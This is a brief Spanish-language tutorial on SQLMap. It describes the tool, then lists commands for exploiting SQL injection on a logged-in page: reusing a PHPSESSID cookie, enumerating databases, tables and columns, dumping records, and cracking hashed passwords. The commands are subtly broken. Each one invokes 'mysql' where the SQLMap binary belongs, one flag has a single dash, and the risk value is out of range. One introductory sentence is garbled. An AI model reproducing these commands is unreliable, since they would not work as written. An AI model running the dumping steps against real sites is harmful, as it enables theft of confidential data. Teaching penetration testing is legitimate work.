SQLMap



¿ Que es SQLMap ?

SQLMap es una herramienta de pruebas de penetración de código abierto que se utiliza para detectar y explotar vulnerabilidades de inyección SQL en aplicaciones web. Esta herramienta se basa en un motor de inyección SQL altamente automatizado que puede detectar y explotar una amplia variedad de vulnerabilidades de inyección SQL en diferentes sistemas de gestión de bases de datos.

SQLMap se utiliza para probar la seguridad de aplicaciones web que utilizan bases de datos, identificando y aprovechando vulnerabilidades de inyección SQL. Para hacer esto, SQLMap realiza una exploración automatizada de la aplicación web, identifica las vulnerabilidades de inyección SQL y explota estas vulnerabilidades para extraer información confidencial que podría ser utilizada por un atacante malintencionado para comprometer la seguridad de la aplicación.

Al utilizar SQLMap, lo profesionales de seguridad pueden identificar y corregir las vulnerabilidades de inyección SQL en sus aplicaciones web, lo que mejora significativamente la seguridad de estas aplicaciones. También pueden utilizar SQLMap para realizar pruebas de penetración en aplicaciones web de terceros y así evaluar su nivel de seguridad que trabaja en pruebas de penetración de aplicaciones web y en la detección de vulnerabilidades de inyección SQL.


Automatización

Por ejemplo, podríamos estar logeados en una página la cual es vulnerable a SQLI - (SQL Injections) y hacer uso de SQLMap para automatizar las inyecciones de manera automatica:

Listar DataBases de una URL con cookies:

mysql -u http://{url} --dbs --cookie "PHPSESSID=dklsajfjkadsjfkjajdkjadjka"

Aclarar el gestor de base de datos:

mysql -u http://{url} --dbs --cookie "PHPSESSID=dklsajfjkadsjfkjajdkjadjka" -dbms mysql 

Aceptar por default las preguntas que realiza SQLMap:

mysql -u http://{url} --dbs --cookie "PHPSESSID=dklsajfjkadsjfkjajdkjadjka" --batch 

Enumerar tablas de una base de datos:

mysql -u http://{url} --cookie "PHPSESSID=dklsajfjkadsjfkjajdkjadjka" -D {db_name} --tables

Enumerar columnas de una tabla:

mysql -u http://{url} --cookie "PHPSESSID=dklsajfjkadsjfkjajdkjadjka" -D {db_name} -T {table_name} --columns

Enumerar registros de una columna:

mysql -u http://{url} --cookie "PHPSESSID=dklsajfjkadsjfkjajdkjadjka" -D {db_name} -T {table_name} -C {colum1},{column2} --dump

Si se piden listar registros de contraseñas y estas están hasheadas, se comenzara un proceso de fuerza bruta para intentar crackear dichas credenciales.

Enumerar de manera más profunda:

mysql -u http://{url} --cookie "PHPSESSID=dklsajfjkadsjfkjajdkjadjka" --dbms mysql --risk 4 --level 5